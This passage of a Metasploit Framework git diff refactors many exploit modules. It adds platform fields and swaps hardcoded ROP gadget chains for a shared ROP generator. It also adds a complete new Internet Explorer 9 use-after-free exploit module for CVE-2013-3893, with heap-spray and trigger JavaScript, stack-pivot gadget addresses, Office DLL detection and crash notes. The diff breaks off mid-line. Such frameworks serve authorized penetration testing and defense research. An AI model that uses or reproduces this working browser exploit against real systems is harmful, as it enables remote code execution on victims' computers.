'https://community.rapid7.com/community/metasploit/blog/2013/08/15/time-to-patch-joomla' ] ], 'Payload' => { @@ -65,10 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def peer - return "#{rhost}:#{rport}" - end - def check res = get_upload_form diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 3ca5daf2a8..9c7f083ae5 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -53,12 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - - def check res = send_request_raw({'uri' => normalize_uri(target_uri.path)}) if not res diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 3cac9adbdd..32971f4c03 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -66,10 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote return uri end - def peer - "#{rhost}:#{rport}" - end - def remote_exe(command) res = send_request_cgi({ 'uri' => "#{base}backend.php", diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index e0632fed3d..62d564a5be 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -52,10 +52,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def uri return target_uri.path end diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 07251891a0..7436cfa6ac 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -55,10 +55,6 @@ class Metasploit3 < Msf::Exploit::Remote return target_uri.path end - def peer - return "#{rhost}:#{rport}" - end - def check # Check version print_status("#{peer} - Trying to detect ZeroShell") diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index a3dc775312..889a21a8a6 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -56,12 +56,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - - def check res = send_request_raw({'uri' => normalize_uri(target_uri.path)}) if not res diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index d0b563e7f6..2f6c356b1f 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ ['Arkeia 5.3.3 and 5.2.27 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x004130a2, 5 ] }], # arkeiad.exe diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index f60f1110f1..662a03bbb1 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'MinNops' => 512, 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 9c2a933dd0..5efaba18f4 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb index 44292b5926..9acd795141 100644 --- a/modules/exploits/windows/brightstor/discovery_tcp.rb +++ b/modules/exploits/windows/brightstor/discovery_tcp.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb index 27db6f2d76..29cd94f28e 100644 --- a/modules/exploits/windows/brightstor/discovery_udp.rb +++ b/modules/exploits/windows/brightstor/discovery_udp.rb @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb index 8a2f135153..5ec798d8af 100644 --- a/modules/exploits/windows/brightstor/sql_agent.rb +++ b/modules/exploits/windows/brightstor/sql_agent.rb @@ -37,6 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ # This exploit requires a jmp esp for return diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb index 6ca76283d6..4de45ec8e5 100644 --- a/modules/exploits/windows/brightstor/universal_agent.rb +++ b/modules/exploits/windows/brightstor/universal_agent.rb @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb index 56382b0a45..dcd3c0cbdb 100644 --- a/modules/exploits/windows/browser/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index 970350f1c8..f726d4d222 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -11,6 +11,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -62,39 +63,9 @@ class Metasploit4 < Msf::Exploit::Remote end def get_payload(t) - p = '' - - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - - p << rop - p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - p << payload.encoded - - p + alignment = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + p = generate_rop_payload('msvcrt', alignment + payload.encoded, {'target'=>'xp'}) + return p end diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index a7771ac39d..2c2547cbb5 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -135,100 +135,27 @@ class Metasploit3 < Msf::Exploit::Remote # No rop. Just return the payload. return code if t['Rop'].nil? + # Make post code execution more stable + code << rand_text_alpha(12000) + + msvcrt_align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + java_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + + rop_payload = '' + case t['Rop'] when :msvcrt case t.name when 'IE 8 on Windows XP SP3' - rop_gadgets = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'xp'}) when 'IE 8 on Windows Server 2003' - rop_gadgets = - [ - 0x77bb2563, # POP EAX # RETN - 0x77ba1114, # <- *&VirtualProtect() - 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - junk, - 0x77bb0c86, # XCHG EAX,ESI # RETN - 0x77bc9801, # POP EBP # RETN - 0x77be2265, # ptr to 'push esp # ret' - 0x77bb2563, # POP EAX # RETN - 0x03C0990F, - 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) - 0x77bb48d3, # POP EBX, RET - 0x77bf21e0, # .data - 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN - 0x77bbfc02, # POP ECX # RETN - 0x77bef001, # W pointer (lpOldProtect) (-> ecx) - 0x77bd8c04, # POP EDI # RETN - 0x77bd8c05, # ROP NOP (-> edi) - 0x77bb2563, # POP EAX # RETN - 0x03c0984f, - 0x77bdd441, # SUB EAX, 03c0940f - 0x77bb8285, # XCHG EAX,EDX # RETN - 0x77bb2563, # POP EAX # RETN - nop, - 0x77be6591 # PUSHAD # ADD AL,0EF # RETN - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'2003'}) end else - rop_gadgets = - [ - 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) - 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] - 0x7c3415a2, # JMP [EAX] [msvcr71.dll] - 0xffffffff, - 0x7c376402, # skip 4 bytes [msvcr71.dll] - 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] - 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] - 0x7c344f87, # POP EDX # RETN [msvcr71.dll] - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] - 0x7c34d201, # POP ECX # RETN [msvcr71.dll] - 0x7c38b001, # &Writable location [msvcr71.dll] - 0x7c347f97, # POP EAX # RETN [msvcr71.dll] - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] - 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] - # rop chain generated with mona.py - ].pack("V*") + rop_payload = generate_rop_payload('java', java_align + code) end - rop_payload = rop_gadgets - case t['Rop'] - when :msvcrt - rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - else - rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - end - rop_payload << code - rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt - - return rop_payload + rop_payload end def load_exploit_html(my_target, cli) diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index a8b01641fd..8b416d9793 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -117,76 +117,22 @@ class Metasploit3 < Msf::Exploit::Remote def get_payload(t, cli) rop_payload = '' + # Extra junk in the end to make sure post code execution is stable. + p = payload.encoded + case t['Rop'] when :msvcrt - algin = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - chain = '' - + align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + rop_payload = '' if t.name == 'IE 8 on Windows XP SP3' - chain = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - + rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'}) elsif t.name == 'IE 8 on Windows Server 2003' - junk = rand_text_alpha(4).unpack("V")[0].to_i - nop = make_nops(4).unpack("V")[0].to_i - - chain = - [ - 0x77bb2563, # POP EAX # RETN - 0x77ba1114, # <- *&VirtualProtect() - 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - junk, - 0x77bb0c86, # XCHG EAX,ESI # RETN - 0x77bc9801, # POP EBP # RETN - 0x77be2265, # ptr to 'push esp # ret' - 0x77bb2563, # POP EAX # RETN - 0x03C0990F, - 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) - 0x77bb48d3, # POP EBX, RET - 0x77bf21e0, # .data - 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN - 0x77bbfc02, # POP ECX # RETN - 0x77bef001, # W pointer (lpOldProtect) (-> ecx) - 0x77bd8c04, # POP EDI # RETN - 0x77bd8c05, # ROP NOP (-> edi) - 0x77bb2563, # POP EAX # RETN - 0x03c0984f, - 0x77bdd441, # SUB EAX, 03c0940f - 0x77bb8285, # XCHG EAX,EDX # RETN - 0x77bb2563, # POP EAX # RETN - nop, - 0x77be6591 # PUSHAD # ADD AL,0EF # RETN - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'}) end - rop_payload = chain + algin + payload.encoded - else code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - code << payload.encoded + code << p code << rand_text_alpha(12000) rop_payload = generate_rop_payload('java', code) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb new file mode 100644 index 0000000000..9c120cb883 --- /dev/null +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -0,0 +1,346 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer SetMouseCapture Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability that currents targets Internet + Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. + It was initially found in the wild in Japan, but other regions such as English, + Chinese, Korean, etc, were targeted as well. + + The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a + reference during an event. An attacker first can setup two elements, where the second + is the child of the first, and then setup a onlosecapture event handler for the parent + element. The onlosecapture event seems to require two setCapture() calls to trigger, + one for the parent element, one for the child. When the setCapture() call for the child + element is called, it finally triggers the event, which allows the attacker to cause an + arbitrary memory release using document.write(), which in particular frees up a 0x54-byte + memory. The exact size of this memory may differ based on the version of IE. After the + free, an invalid reference will still be kept and pass on to more functions, eventuall + this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary + code execution) when this function attempts to use this reference to call what appears to + be a PrivateQueryInterface due to the offset (0x00). + + To mimic the same exploit found in the wild, this module will try to use the same DLL + from Microsoft Office 2007 or 2010 to leverage the attack. + + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Exploit in the wild first spotted in Japan + 'sinn3r' # Metasploit (thx binjo for the heads up!) + ], + 'References' => + [ + [ 'CVE', '2013-3893' ], + [ 'OSVDB', '97380' ], + [ 'MSB', 'MS13-080' ], + [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ], + [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 + }, + 'DefaultOptions' => + { + 'PrependMigrate' => true, + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "Sep 17 2013", + 'DefaultTarget' => 0)) + end + + def is_win7_ie9?(agent) + (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) + end + + def get_preq_html(cli, req) + %Q| +<html> +<script> + function getDLL() { + var checka = 0; + var checkb = 0; + + try { + checka = new ActiveXObject("SharePoint.OpenDocuments.4"); + } catch (e) {} + + try { + checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); + } catch (e) {} + + if ((typeof checka) == "object" && (typeof checkb) == "object") { + return "office2010"; + } + else if ((typeof checka) == "number" && (typeof checkb) == "object") { + return "office2007"; + } + + return "na"; + } + + window.onload = function() { + document.location = "#{get_resource}/#{@exploit_page}?dll=" + getDLL(); + } +</script> +</html> + | + end + + def junk + return rand_text_alpha(4).unpack("V")[0].to_i + end + + def get_payload(rop_dll) + code = payload.encoded + rop = '' + alignment = '' + + case rop_dll + when :office2007 + alignment = + [ + junk, # Alignment + ].pack("V*") + + rop = generate_rop_payload('hxds', code, { 'target'=>'2007' }) + + when :office2010 + alignment = + [ + # 4 dword junks due to the add esp in stack pivot + junk, + junk, + junk, + junk, + 0x51bf518b, # ret + junk # due to the ret 4 on the stack pivot + ].pack("V*") + + rop = generate_rop_payload('hxds', code, { 'target'=>'2010' }) + end + + p = alignment + rop + code + p + end + + def get_exploit_html(cli, req, rop_dll) + gadgets = {} + case rop_dll + when :office2007 + gadgets[:spray1] = 0x1af40020 + + # 0x31610020-0xc4, pointer to gadgets[:call_eax] + gadgets[:target] = 0x3160ff5c + + # mov eax, [esi] + # push esi + # call [eax+4] + gadgets[:call_eax] = 0x51bd1ce8 + + # xchg eax,esp + # add byte [eax], al + # pop esi + # mov [edi+23c], ebp + # mov [edi+238], ebp + # mov [edi+234], ebp + # pop ebp + # pop ebx + # ret + gadgets[:pivot] = 0x51be4418 + + when :office2010 + gadgets[:spray1] = 0x1a7f0020 + + # 0x30200020-0xc4, pointer to gadgets[:call_eax] + gadgets[:target] = 0x301fff5c + + # mov eax, [esi] + # push esi + # call [eax+4] + gadgets[:call_eax] = 0x51bd1a41 + + # xchg eax,esp + # add eax,dword ptr [eax] + # add esp,10 + # mov eax,esi + # pop esi + # pop ebp # retn 4 + gadgets[:pivot] = 0x51c00e64 + end + + p1 = + [ + gadgets[:target], # Target address + gadgets[:pivot] # stack pivot + ].pack("V*") + + p1 << get_payload(rop_dll) + + p2 = + [ + gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax) + ].pack("V*") + + js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*")) + js_p1 = Rex::Text.to_unescape(p1) + js_p2 = Rex::Text.to_unescape(p2) + + %Q| +<html> +<script> +#{js_property_spray} + +function loadOffice() { + try{location.href='ms-help://'} catch(e){} +} + +var a = new Array(); +function spray() { + var obj = ''; + for (i=0; i<20; i++) { + if (i==0) { obj += unescape("#{js_s1}"); } + else { obj += "\\u4242\\u4242"; } + } + obj += "\\u5555"; + + for (i=0; i<10; i++) { + var e = document.createElement("div"); + e.className = obj; + a.push(e); + } + + var s1 = unescape("#{js_p1}"); + sprayHeap({shellcode:s1, maxAllocs:0x300}); + var s2 = unescape("#{js_p2}"); + sprayHeap({shellcode:s2, maxAllocs:0x300}); +} + +function hit() +{ + var id_0 = document.createElement("sup"); + var id_1 = document.createElement("audio"); + + document.body.appendChild(id_0); + document.body.appendChild(id_1); + id_1.applyElement(id_0); + + id_0.onlosecapture=function(e) { + document.write(""); + spray(); + } + + id_0['outerText']=""; + id_0.setCapture(); + id_1.setCapture(); +} + +for (i=0; i<20; i++) { + document.createElement("frame"); +} + +window.onload = function() { + loadOffice(); + hit(); +} +</script> +</html> + | + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + unless is_win7_ie9?(agent) + print_error("Not a suitable target: #{agent}") + send_not_found(cli) + end + + html = '' + if request.uri =~ /\?dll=(\w+)$/ + rop_dll = '' + if $1 == 'office2007' + print_status("Using Office 2007 ROP chain") + rop_dll = :office2007 + elsif $1 == 'office2010' + print_status("Using Office 2010 ROP chain") + rop_dll = :office2010 + else + print_error("Target does not have Office installed") + send_not_found(cli) + return + end + + html = get_exploit_html(cli, request, rop_dll) + else + print_status("Checking target requirements...") + html = get_preq_html(cli, request) + end + + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end + + def exploit + @exploit_page = "default.html" + super + end + +end + +=begin + +hxds.dll (Microsoft® Help Data Services Module) + + 2007 DLL info: + ProductVersion: 2.05.50727.198 + FileVersion: 2.05.50727.198 (QFE.050727-1900) + + 2010 DLL info: + ProductVersion: 2.05.50727.4039 + FileVersion: 2.05.50727.4039 (QFE.050727-4000) + +mshtml.dll + ProductVersion: 9.00.8112.16446 + FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400) + FileDescription: Microsoft (R) HTML Viewer + + +0:005> r +eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34 +eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +MSHTML!CTreeNode::GetInterface+0xd8: +679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=???????? + + +66e13df7 8b0e mov ecx,dword ptr [esi] +66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000) +66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h] +66e13e01 ffd0 call eax + +=end diff --git a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb index c9fe709940..c1005c1bd1 100644 --- a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb +++ b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb @@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BufferOffset' => 0x8 } }, + 'Platform' => %{ win }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index 91cb9cf958..232befaf75 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -59,6 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'BadChars' => "", }, + 'Platform' => %w{ win }, 'Targets' => [ # Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003 diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 64707d985e..755c57a686 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Space' => 0x1000, # depending on the spray size it's actually a lot more }, + 'Platform' => %w{ win }, 'Targets' => [ [ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)', diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index a1d0b66b19..bc8dbfab33 100644 --- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x8b\xe2", # Prevent UTF-8-ification 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index d9e0965f5c..530c058245 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'InitialAutoRunScript' => 'migrate -f', }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 55b6843d11..1368a81c43 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -109,85 +110,25 @@ class Metasploit3 < Msf::Exploit::Remote nil end - def get_payload(t, cli) - rop = '' - code = payload.encoded - esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - - case t['Rop'] - when :msvcrt - # Stack adjustment # add esp, -3500 - esp_align = "\x81\xc4\x54\xf2\xff\xff" - + def get_payload(t) + if t['Rop'] == :msvcrt print_status("Using 